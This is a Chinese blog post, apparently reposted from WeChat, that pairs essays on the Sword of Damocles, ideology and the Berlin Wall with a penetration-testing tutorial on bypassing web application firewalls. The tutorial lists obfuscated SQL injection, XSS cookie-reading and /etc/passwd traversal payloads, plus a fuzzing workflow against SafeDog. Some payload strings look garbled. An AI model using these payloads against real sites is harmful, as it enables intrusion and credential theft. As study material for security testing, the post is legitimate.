引入独白前言
我其实也很好奇为什么我会把 :
僭主狄奥尼修斯与达摩克里斯的意识形态对抗
这样一个与BypassWAF技术毫无相关的话题作为标题,或许我想表达的可能就是生生不息的对抗的意味。熟悉常见WAF也好,知道一些比较敏感的政治产品也罢,这些与这篇文章毫无关联,我们今天只是凭借着哲学思考来聊聊技术。一把悬在头顶的达摩克里斯之剑,警惕的告诉我们要活在当下,不要看清未来,不要开动大脑,不要自我思考。今天的 Bypass — “意识形态对抗”
上层规则游戏
达摩克利斯是公元前4世纪意大利叙拉古的僭主狄奥尼修斯二世的朝臣,他非常喜欢奉承狄奥尼修斯。他奉承道:作为一个拥有权力和威信的伟人,狄奥尼修斯实在很幸运。狄奥尼修斯提议与他交换一天的身份,那他就可以尝试到首领的命运。在晚上举行的宴会里,达摩克利斯非常享受成为国王的感觉。当晚餐快结束的时候,他抬头才注意到王位上方仅用一根马鬃悬挂着的利剑。他立即失去了对美食和美女的兴趣,并请求僭主放过他,他再也不想得到这样的幸运。达摩克利斯之剑通常被用于象征这则传说,代表拥有强大的力量非常不安全,很容易被夺走,或者简单来说,就是感到末日的降临。达摩克利斯之剑的木刻图片出现在16世纪和17世纪欧洲书籍图案上。达摩克利斯之剑同时也是电影《洛奇恐怖晚会》中一首曲的标题,首次播出是1975年。严谨来说达摩克利斯是一个后来才被加入希腊文化的独立道德轶事中出现的人物形象。这个形象正确来说属于传奇,而不是希腊神话。轶事出现在陶尔米纳的提麦奥斯(公元前356年-公元前260年)所写的西西里岛失去的历史中。西赛罗可能在狄奥多罗斯·西库鲁斯的作品中读到它,并在其著作《Tusculan Disputations》V.21中加以引用。
一个高度敏感的人一定具有强烈的直觉和自我意识,富有洞察力和理解力,比他人更能感受深层次的信息,有巨大的共情力。像世界上许多伟大的作家诗人,比如卡夫卡,太宰治,普鲁斯特,他们创造伟大文学艺术的同时要承受巨大的精神痛苦,也由于这些原因他们的身体都损坏了。如果上帝提出要夺走这种虽然利于创作但于身体有害的能力,想必他们也是不愿意的,甚至这正是他们害怕失去的一种能力。在某个领域十分厉害的人物总是无法接受有人比他们更厉害。这些人拥有世间的某种顶级力量或优势,然而他们最恐惧的正来自于此,这种危机感时刻紧紧跟随他内心的脚步,这大概就是他们头顶上悬挂的达摩克利斯之剑。大凡在某一方面超凡出众的人,与这个社会常常就会格格不入。如果不把自己伪装成平庸的普通人,那就容易遭到身陷险境的危险。就像那位先知,或者麻疯病人,想要在人群中出没,就必须戴上面具。
意识形态对抗
拉斯韦尔《政治学》中说到:一种公认的意识形态是能够自己长期存在下去的,不需要那些受益最多的人去进行什么有计划的宣传。当有人为了寻求传播某种信念的方法而煞费苦心的时候,就表明该信念早已奄奄一息了,社会的基本前景已经衰败了;要不就是一种新的胜利的前景还没有获得男女老少各色人等的自发的忠诚。一个对自己的国家感到毫无忧虑的人多么幸福啊!至少少数几个从普遍默认中得到主要好处的人多么幸福啊!在群众受着信心的驱使,而精英又满怀自信的情况下,那些将特殊利益给予他人的生活制度是没有必要去搞什么阴谋诡计之类的活动的。
生活在自己所信服的主流意识形态中的人会感到十分幸福,而生活在自己不信服的意识形态中的人会很痛苦。传统的社会共同体的解体(传统儒家社会,基督教社会等,上帝已死),使得每个人都是孤独的,群体性孤独,进而引起焦虑,对终极意义的寻求也得不到答案,而意识形态可以将孤独的内心纳入其中,这是意识形态产生的必然性,它是现代政治的产物。
意识形态本身最根本的因素是其说服力,但社会意识形态霸权的作用也是不可忽略的。小粉红是正常的现象,恰恰说明我们的社会意识形态运转正常。粉红和白色之间可以争论,但不应该有外力来打压任何一方。如果一套意识形态没有竞争者,不能够被讨论,他的解释力一定会变得越来越弱。没有竞争者才是最危险的,如果必须要通过暴力来维护某种意识形态,这个意识形态就非常危险了。
引用自知乎作者:何妨一饮茶主人 《政治学概论第八讲:意识形态》
Bypass柏林墙
Web应用防护系统也称为:网站应用级入侵防御系统。英文名叫做Web Application Firewall,简称WAF。利用国际上公认的一种说法:Web应用防火墙是通过执行一系列针对HTTP/HTTPS的安全策略来专门为Web应用提供保护的一款产品。在日常的渗透测试当中遇到了拥有WAF防护的网站,当黑客发送带有payload的数据包时则会被防火墙阻断,所以通过特定的方式与手法技巧绕过防护就成为Bypass。
WAF其实就是在网站服务器前面提供一层过滤攻击流量的功能。与传统的 Firewall (防火墙) 不同,WAF 针对的是应用层。WAF按照国际标准来说有两种类型,SaaS型WAF和负载均衡型WAF。SaaS型WAF通过DNS解析,将域名解析到WAF集群提供的CNAME地址上,通过WAF配置源站服务器IP,实现域名恶意流量清洗和过滤,将正常流量回源到源站。负载均衡型WAF通过和负载均衡集群进行联动,将负载均衡的HTTP/HTTPS流量镜像到WAF集群,WAF进行旁路威胁检测和清洗,将用户请求的可信状态同步到负载均衡集群进行威胁拦截或放行。WAF也可以分为非嵌入型WAF和嵌入型WAF
-
非嵌入型是指硬WAF、云WAF、软WAF之类 -
嵌入型是指web容器模块类型WAF、代码层WAF
也可以通过WAF提供在部署的方式上分成三类
-
云WAF:通常是CDN包含的WAF,DNS需要解析到CDN的IP上去,在请求URL时,数据包就会先经过云WAF进行检测,如果通过再将数据包流给主机。常见产品:阿里云防护,腾讯与防护,创于云等。 -
铁盒子:硬件WAF可以理解为流量代理,一般部署方式都需要流量经过他,针对数据包进行拆包-清洗-规则名-放行/丢弃。常见产品:各产品铁盒子WAF -
软件类:在主机上预先安装了这种防护软件,和监听WEB端口的流量是否有恶意的,所以这种从功能上讲,较为全面。常见产品:云锁,安全狗等。
为什么柏林墙一定会被推倒?
-
波兰和匈牙利实行政治改革,放松了对边界的控制,使得东欧人民可以通过这些国家前往西方。 -
苏联领导人戈尔巴乔夫提出了“新思维”和“改革开放”的政策,表示不会干涉东欧国家的内政,并支持他们进行民主化改革。 -
东德面临严重的经济危机和社会动荡,民众对苏共政权的不满日益增加,要求实行自由选举和旅行自由。 -
1989年10月18日,东德领导人霍涅克被迫辞职,新任领导人开贝尔试图缓解局势,但未能平息民众的抗议浪潮。 -
1989年11月9日晚上,在一场混乱的新闻发布会上,东德官员宣布将放宽出境限制,并误传说这一决定即刻生效。 -
大批东柏林居民涌向边界检查站,并要求进入西柏林。 -
由于没有接到明确指示,边防部队最终选择开放通道,并没有使用武力阻止人群。 -
越来越多的人开始砸毁、涂鸦、攀爬柏林墙,并与西方友人欢庆团聚。
所以说:业务与安全存在一定冲突,其次WAF无法百分百覆盖语言,中间件,数据库的特性,可能WAF本身就存在着不可中和的漏洞。
Bypass取巧法
将军真实攻击
在具真实WAF的渗透测试场景中,用户-网站的访问流程如下:
用户 > WAF > 网站服务
如果通过修改hosts文件来重新获取DNS解析的方式将访问的流程进行调整则可以直接跳过WAF的检测
用户 > 网站服务
所以寻找到真实IP在应对云WAF的场景中则会是很好用的策略。这也就是说为什么在信息收集中寻找真实IP是比较重要的
无规则攻击
常见WAF在阻断的过程中,WAF基本是靠采用正则表达式或基于行为判定的方式进行阻断。但是WAF在对于没有明确的规则攻击方式就会非常疲惫,比如一些逻辑漏洞、CSRF之类的漏洞
Bypass硬刚法
绕过参数认证
假如WAF会从参数名中删除空格或将其转换为下划线或者删除参数后面跟着两个十六进制数字的%字符
http://xxx.com/test.php?%20id=select 1,2,3
http://xxx.com/test.aspx?%id=select 1,2,3
即通过这种方式绕过不拒绝未知参数的WAF
加载WAF的负载
如果WAF性能负载过重的情况下,可能会跳过输入验证。通常可以发送大量的恶意请求。这对于嵌入式WAF或许更适用。
HTTP参数污染
发送多个同名的参数,如:
http://xxx.com/test/?test=1&test=2
ASP.NET中,会处理成test=1,2
JSP中,会处理成test=1
PHP中,会处理成test=2
所以当payload为test=select 1,2,3 from tables的时候,可以将其改变为:
test=select 1&select 2,3 from tables
双重URL编码
WAF会将URL编码的字符规范化为ASCII文本,使用双重编码可能会导致绕过。
s --> %73 -->%25%37%33
所以可以将payload修改成双重URL编码的格式
1 union %25%37%33elect 1,2,3
使WAF未检测到对应的规则
在找到缺少的规则方式中,需要有一定的流程设计,例如将WAF部署好后,关闭拉黑的机制,然后进行Fuzz的测试。为此,整个的测试当中,如果以目的为导向的话,那么的目的是找到一条一句的方式,WAF不认为是恶意语句,但这条的恶意语句可以在网站中执行。在SQL注入的绕过中,可以尝试的语法方式:
原本语句 ’ or 1=1
or 9=9
or 0x47 = 0x47 -->ASCII
or char(32) = ''
or 9 is not null
原本语句 1+union+select+1,2,3/*
1/*union*/union/*select*/select+1,2,3/*
1/*uniXon*/union/*selXect*/select+1,2,3/*
UNION ALL SELECT
其他的绕过方式
id=-15 uNloN sELecT 1,2,3,4
id=-15 UNlunionON SELselectECT1,2,3,4
id=1%252f%252a*/UNION%252f%252a/SELECT
id=-15/*!u%6eion*/ /*!se%6cect*/ 1, 2,3,4...SELECT(extractvalue(ox3C613E61646D6g6É3C2F613E,ox2f61)
id=10%D6'%20AND%201=2%23 - SELECT 'A'='A'; #1
在XSS中可以尝试:
原本为:Alert('xss')或Alert (1)
Prompt('xss')
Prompt(454)
Confirm('xss')
Confirm(123)
Alert(/xss/.source)
Window[/alert/.source](8)
原本为:alert(document['cookie'])
alert(document[/coo/.source+/kie/.source])
alert(document[/cookie/.source])
with(document)alert(cookie)
alert(document.cookie)
原本为: < img src=x onerror=alert(1);> 或javascript:alert(document.cookie)
<svg/onload=alert(1)>
<video src=x onerror=alert(1);>
<audio src=x onerror=alert(1);>
Data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4=
在文件包含中,可以尝试:
原本为:/etc/passwd
/too/abc/etc/far/.../passwd
/../../../../etc/passwd%oo
/etc//passwd
/etc/ignore/../passwd
/etc/passwd....
测试方法就很多很多了,以上来自农夫安全提供的总结思路,推荐几篇文章或者自己搜一搜了解BypassWAF的技术即可:实战 | WAF-Bypass之SQL注入绕过思路总结 – 腾讯云开发者社区-腾讯云 (tencent.com)
FUZZ大法好啊
假设测试环境是安全狗,这里有一句常见的SQL注入语句对吧,正常测试下我们怎么做?
1000'union select user,password from pikachu.users#
使用FUZZ工具生成大量的Payload
python3 FUZZ.py -p "1000'union select user,password from pikachu.users#" -l 3 -o 1
然后把生成的Payload放到Burp中进行FUZZ,然后跑+清洗出可用的Payload。最后在开启安全狗的情况下,使用清洗后的Payload进行大量Fuzz,找到可以成功Bypass的Payload即可,这是一种基本的思路,从SQL注入绕过到其他,无非都是这个思路。
The Sword of Damocles
原文始发于微信公众号(猫哥的秋刀鱼回忆录):BypassWAF&僭主狄奥尼修斯与达摩克里斯的意识形态对抗&The Sword of Damocles